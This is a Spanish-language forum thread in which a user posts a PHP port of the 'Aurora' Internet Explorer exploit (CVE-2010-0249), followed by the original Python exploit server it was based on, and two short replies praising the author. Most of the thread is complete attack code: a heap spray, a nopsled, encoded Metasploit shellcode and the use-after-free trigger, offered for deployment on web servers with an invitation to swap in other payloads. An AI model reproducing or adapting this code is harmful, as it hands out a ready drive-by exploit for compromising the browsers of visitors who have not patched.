Exploit para CVE-2010-0249 migrado a PHP (ejecucion remota ie6, 7 y 8)

Iniciado por WHK, 11 Diciembre 2011, 23:48 PM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Estaba revisando el CVE:
http://technet.microsoft.com/en-us/security/advisory/979352

Es una falla de internet explorer 7 y 8 de ejecución remota de código.
Encontré un código de ejemplo en packetstorm pero en python llamado "aurora" asi que lo estudié y lo migré a php para ejecutarlo de forma online en servidores webs, solo basta con modificar el payload para jugar un poco con recursos remotos .js autoejecutables.

Testeado en virtual con windows 7 internet explorer 8 y windows xp internet explorer 6.

Código (php) [Seleccionar]
<?php
if(isset($_GET['aurora'])){
header('Content-Type: image/gif');
echo "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff".
"\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44".
"\x01\x00\x3b";
exit;
}

function 
convert_to_utf16($payload){
$enc_payload '';
foreach(range(0strlen($payload), 2) as $i){
$num 0;
foreach(range(02) as $j){
$num $num + ((ord($payload[$i $j]) & 0xff) << ($j 8));
}
if($num 0)
$enc_payload .= ('%%u%04x' $num);
}
return $enc_payload;
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<script>
var obj, event_obj;

function spray_heap(){
var chunk_size, payload, nopsled;
chunk_size = 0x80000;
payload = unescape("<?php echo convert_to_utf16(
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73".
"\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e".
"\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a".
"\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97".
"\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56".
"\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85".
"\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1".
"\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85".
"\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02".
"\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e".
"\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61".
"\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e"
); ?>
");
nopsled = unescape("%u0a0a%u0a0a");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);        
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}

function initialize(){
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
       
function ev1(evt){
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}

function ev2(){
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ )
obj[i].data = data;
event_obj.srcElement;
}

function check(){
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;  
}

if(check()){
initialize();
spray_heap();              
}else
window.location = "about:blank";
</script>
</head>
<body>
<span id="sp1">
<img src="?aurora" onload="ev1(event);">
</span>        
</body>
</html>


El exploit original en python:
http://packetstormsecurity.org/1001-exploits/ie_aurora.py.txt
Código (python) [Seleccionar]
#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   This program acts as a web server that generates an exploit to
#   target a vulnerability (CVE-2010-0249) in Internet Explorer.
#   The exploit was tested using Internet Explorer 6 on Windows XP SP2.
#   The exploit's payload spawns the calculator.
#
#   Usage  : python ie_aurora.py [port number]
#  

import sys
import socket

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
       
class RequestHandler(BaseHTTPRequestHandler):

   def convert_to_utf16(self, payload):
       enc_payload = ''
       for i in range(0, len(payload), 2):
           num = 0
           for j in range(0, 2):
               num += (ord(payload[i + j]) & 0xff) << (j * 8)
           enc_payload += '%%u%04x' % num
       return enc_payload

   def get_payload(self):
       # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
       # http://metasploit.com
       payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
       payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
       payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
       payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
       payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
       payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
       payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
       payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
       payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
       payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
       payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
       payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
       return self.convert_to_utf16(payload)
   
   def get_exploit(self):
       exploit = '''
       <html>
       <head>
           <script>
           
           var obj, event_obj;
           
           function spray_heap()
           {
               var chunk_size, payload, nopsled;
           
               chunk_size = 0x80000;
               payload = unescape("<PAYLOAD>");
               nopsled = unescape("<NOP>");
               while (nopsled.length < chunk_size)
                   nopsled += nopsled;
               nopsled_len = chunk_size - (payload.length + 20);        
               nopsled = nopsled.substring(0, nopsled_len);
               heap_chunks = new Array();
               for (var i = 0 ; i < 200 ; i++)
                   heap_chunks[i] = nopsled + payload;
           }
       
           function initialize()
           {
               obj = new Array();
               event_obj = null;
               for (var i = 0; i < 200 ; i++ )
                   obj[i] = document.createElement("COMMENT");
           }
       
           function ev1(evt)
           {
               event_obj = document.createEventObject(evt);
               document.getElementById("sp1").innerHTML = "";
               window.setInterval(ev2, 1);
           }
     
           function ev2()
           {
               var data, tmp;
               
               data = "";
               tmp = unescape("%u0a0a%u0a0a");
               for (var i = 0 ; i < 4 ; i++)
                   data += tmp;
               for (i = 0 ; i < obj.length ; i++ ) {
                   obj[i].data = data;
               }
               event_obj.srcElement;
           }
                   
           function check()
           {
               if (navigator.userAgent.indexOf("MSIE") == -1)
                   return false;
               return true;  
           }
           
           if (check()) {
               initialize();
               spray_heap();              
           }
           else
               window.location = 'about:blank'
               
           </script>
       </head>
       <body>
           <span id="sp1">
           <img src="aurora.gif" onload="ev1(event)">
           </span>        
       </body>
       </html>
       '''
       exploit = exploit.replace('<PAYLOAD>', self.get_payload())
       exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
       return exploit

   def get_image(self):
       content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
       content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
       content += '\x01\x00\x3b'
       return content

   def log_request(self, *args, **kwargs):
       pass
       
   def do_GET(self):
       try:
           if self.path == '/':
               print
               print '[-] Incoming connection from %s' % self.client_address[0]
               self.send_response(200)
               self.send_header('Content-Type', 'text/html')
               self.end_headers()
               print '[-] Sending exploit to %s ...' % self.client_address[0]
               self.wfile.write(self.get_exploit())
               print '[-] Exploit sent to %s' % self.client_address[0]
           elif self.path == '/aurora.gif':      
               self.send_response(200)
               self.send_header('Content-Type', 'image/gif')
               self.end_headers()
               self.wfile.write(self.get_image())
       except:
           print '[*] Error : an error has occured while serving the HTTP request'
           print '[-] Exiting ...'
           sys.exit(-1)
           
                     
def main():
   if len(sys.argv) != 2:
       print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
       sys.exit(0)
   try:
       port = int(sys.argv[1])
       if port < 1024 or port > 65535:
           raise ValueError
       try:
           serv = HTTPServer(('', port), RequestHandler)
           ip = socket.gethostbyname(socket.gethostname())
           print '[-] Web server is running at http://%s:%d/' % (ip, port)
           try:
               serv.serve_forever()
           except:
               print '[-] Exiting ...'
       except socket.error:
           print '[*] Error : a socket error has occurred'
       sys.exit(-1)    
   except ValueError:
       print '[*] Error : an invalid port number was given'
       sys.exit(-1)
           
if __name__ == '__main__':
   main()

adastra


pianista

Envidia es lo que me das WHK, eres un grande, si señor!

Saludos